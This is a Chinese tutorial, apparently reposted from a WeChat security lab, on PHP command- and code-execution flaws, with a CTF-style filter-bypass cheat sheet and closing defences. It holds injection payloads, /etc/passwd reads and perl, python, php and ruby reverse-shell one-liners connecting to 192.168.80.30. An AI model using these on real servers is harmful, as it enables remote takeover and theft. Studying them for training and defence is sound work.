一、原理
1.命令执行
命令执行(Remote Command Execution, RCE)
Web应用的脚本代码在执行命令的时候过滤不严,从而注入一段攻击者能够控制的代码在服务器上以Web服务的后台权限远程执行恶意指令
成因
· 代码层过滤不严
· 系统的漏洞造成命令注入
· 调用的第三方组件存在代码执行漏洞
· 常见的命令执行函数
PHP:exec、shell_exec、system、passthru、popen、proc_open等ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等
2.代码执行
代码执行漏洞由于服务器对危险函数过滤不严导致用户输入的一些字符串可以被转换成代码来执行从而造成代码执行漏洞
成因
用户能够控制函数输入 存在可执行代码的危险函数
常见代码执行函数
PHP: eval(),assert(),call_user_func(),create_function(),array_map(),call_user_func_array(),array_filter(),uasort(),preg_replace()Javascript: evalVbscript:Execute、EvalPython: exec
3.命令执行与代码执行的区别
1.命令注入则是调用操作系统命令进行执行
2.代码执行漏洞是靠执行脚本代码调用操作系统命令
4.危害
可以执行代码、系统命令进行文件读写,文件上传、反弹shell等操作
二、代码执行函数
1. eval()
1.eval() 函数把字符串按照 PHP 代码来计算。
2.该字符串必须是合法的 PHP 代码,且必须以分号结尾。
使用eval()函数有时候需要添加 ?>
原因是eval()函数相当于执行php的代码,而<?= 就相当于<?php echo在PHP7以上不管short_open_tag配置是不是开启的。都可以使用。所以就相当于一个新的PHP文件,这样的话就需要将最开始前面的<?php给闭合,不然不会执行。闭合之后就相当于
=`ls`;
2. assert()
assert函数是直接将传入的参数当成PHP代码执行,不需要以分号结尾(特别注意),有时加上分号不会显示结果
3. ${}
${ } 会把{}内的php代码或系统命令解析执行
[MISSING IMAGE: , ]
4. call_user_func()
把第一个参数作为回调函数调用(如下图,call_user_func()里面有两个参数,a会作为回调函数调用b)
第一个参数 callback 是被调用的回调函数其余参数是回调函数的参数
[MISSING IMAGE: , ]
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
5. create_function()
用来创建匿名函数,执行代码
· args是要创建的函数的参数
· code是函数内的代码
create_function(string $args,string $code)
6. array_map
为数组的每个元素应用回调函数
[MISSING IMAGE: , ]
7. call_user_func_array()
回调函数,参数为数组
第一个参数作为回调函数(callback)调用把参数数组作(param_arr)为回调函数的的参数传入
call_user_func_array ( callable $callback , array $param_arr )
8. array_filter()
依次将 array 数组中的每个值传递到 callback 函数如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中数组的键名保留不变。
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
9. uasort()
1使用自定义函数对数组进行排序
本函数将用用户自定义的比较函数对一个数组中的值进行排序 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数
bool usort ( array &$array , callable $value_compare_func )
三、命令执行函数
1. echo
可以用于圆括号不能用的场景
如:
echo`cat flag.php`;
2. system
该函数会把执行结果输出并把输出结果的最后一行作为字符串返回如果执行失败则返回false这个也最为常用
<?phphighlight_file(__FILE__);system('pwd');system('whoami');?>
3. exec
不输出结果返回执行结果的最后一行可以使用output进行输出
<?phphighlight_file(__FILE__);exec('pwd',$b);var_dump($b);?>
4. passthru
此函数只调用命令并把运行结果原样地直接输出没有返回值。
<?phphighlight_file(__FILE__);passthru('ls');?>
5. shell_exec
不输出结果,返回执行结果使用反引号(``)时调用的就是此函数
<?phphighlight_file(__FILE__);var_dump(shell_exec('ls'));?>
6. ob_start
此函数将打开输出缓冲当输出缓冲激活后,脚本将不会输出内容(除http标头外)相反需要输出的内容被存储在内部缓冲区中。
内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容
<?php ob_start("system"); echo "whoami"; ob_end_flush();?>
7. 命令连接符
Windows和Linux都支持的命令连接符:
cmd1 | cmd2 只执行cmd2cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2
Linux还支持分号;
cmd1 ; cmd2 按顺序依次执行,先执行cmd1再执行cmd2
四、绕过姿势
1. 关键字绕过
输出函数
cat tac more less head tac tail nl #nl<fl''ag.php|| nl输出flag有时候只能看见行号,需要打开源代码才能看到内容od vi vim sort uniq
2. 常见分隔符
换行符 %0a 回车符 %0d连续指令 ;后台进程 & 管道符 |逻辑 ||、&&
3. 空格
可以用以下字符代替空格
< #tac<fla''g.php||> # > 在Linux是追加并覆盖文件的意思,使用该命令需要写的权限${IFS}$IFS$9%0a%09 (反引号中只能用%09绕过)%20%3c$@ # cat$@t flag$1-$9 # cat$1t flag${数字} # cat${1}t flag$IFS在linux下表示分隔符加一个{}固定了变量名同理在后面加个$可以起到截断的作用$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串
4. 命令终止符
%00%20
5. 通配符
* 字符被过滤,用“ * ”号(通配符)代替,如fla* ,通过测试不能与IFS或<这两个字符一起使用'' ,“”单引号和双引号截断绕过,如fl''ag.php“?”可替代单个字符。“*”可替代任意字符,如fla?.php . 如php被过滤,可以 用 p“.”hp
6. 反斜杠
cat flag.php
7. PHP短标签
PHP的标签有至少四种:<?php ?>、<?= ?>、<script language="php"></script>、<? ?>、<% %>(ASP风格)、<%= %>。<?=相当于是一个<?php echoPHP的配置文件php.ini中:"<? ?>"的支持需要short_open_tag=On,要在XML中使用PHP,需要禁用此标签。"<%%>"的支持需要asp_tags=On。"<?= ?>"总是有效的,无论short_open_tag是否设置。除了<?php ?>和<?=?>其他的标签在PHP7.0.0中被移除,强烈建议使用<?php?>标签,代码才能更好的兼容性。
8. 敏感字符绕过
l 变量绕过
a=l,b=s;b
l base64编码绕过
echo 'cat' | base64`echo 'Y2F0Cg==' | base64 -d` test.txt
l 文件包含绕过
c=eval($_GET[a]);&a=system('cat fla*');c=eval($_GET[a])?>&a=system('cat fla*');#如果过滤了分号,可以用?> 闭合进行绕过编码绕过:include$_GET["x"];&x=php://filter/read=convert.base64-encode/resource=flag.php
l 无参数函数绕过
数组操作array_flip() #交换数组中的键和值array_rand() #从数组中随机取出一个或多个单元array_reverse() #返回一个单元顺序相反的数组current() #返回数组中的当前单元文件操作file_get_contents() #将整个文件读入一个字符串readfile() #读取文件并写入到输出缓冲。highlight_file() [别名:show_source()] #语法高亮一个文件scandir() #列出指定路径中的文件和目录direname() #给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。getcwd() #取得当前工作目录。chdir($directory) #将 PHP 的当前目录改为 directory。读取环境变量get_defined_vars() #此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。getenv() #获取一个环境变量的值localeconv() #返回一包含本地数字及货币格式信息的数组,第一个值一直是.phpversion() #获取当前的PHP版本会话session_id() #获取/设置当前会话 IDsession_start() #启动新会话或者重用现有会话其它chr():返回指定的字符。rand():产生一个随机整数。time():返回当前的 Unix 时间戳。localtime():取得本地时间。localtime(time()) 返回一个数组,Array [0] 为一个 0~60 之间的数字。hex2bin():转换十六进制字符串为二进制字符串。ceil():进一法取整。sinh():双曲正弦。cosh():双曲余弦。tan():正切。floor():舍去法取整。sqrt():平方根。crypt():单向字符串散列。hebrevc:将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符。hebrevc(crypt(arg)) [crypt(serialize(array()))]:可以随机生成一个 hash 值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过 ord chr 只取第一个字符。ord:返回字符串的第一个字符的 ASCII 码值。
l 未定义的初始化变量
cat$b /etc/passwd
l 连接符
cat /etc/pass'w'd
例子ls命令我们可以通过以下语法代替执行
/???/?s --help
9. 反向连接(Reverse Shell)的各类技术方法
- ; perl-e 'use Socket;$i="192.168.80.30";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};'- ; python-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.30",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'- ; php-r '$sock=fsockopen("192.168.80.30",443);exec("/bin/sh-i<&3 >&3 2>&3");’- ; ruby-rsocket-e'f=TCPSocket.open("192.168.80.30",443).to_i;execsprintf("/bin/sh-i<&%d >&%d 2>&%d",f,f,f)'
10. 一些场景应用
1、无任何过滤或简单过滤
2、过滤了;,|,&,`
3、过滤了;,|,&,`,s
4、过滤了关键词,比如cat
5、页面无命令结果的回显
五、防范措施
尽量不要使用系统执行命令在进入执行命令函数/方法前,变量要做好过滤,对敏感字符转义在使用动态函数前,确保使用的函数是指定的函数之一对PHP语言,不能完全控制的危险函数就不要用
原文始发于微信公众号(长风实验室):命令执行漏洞基础
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论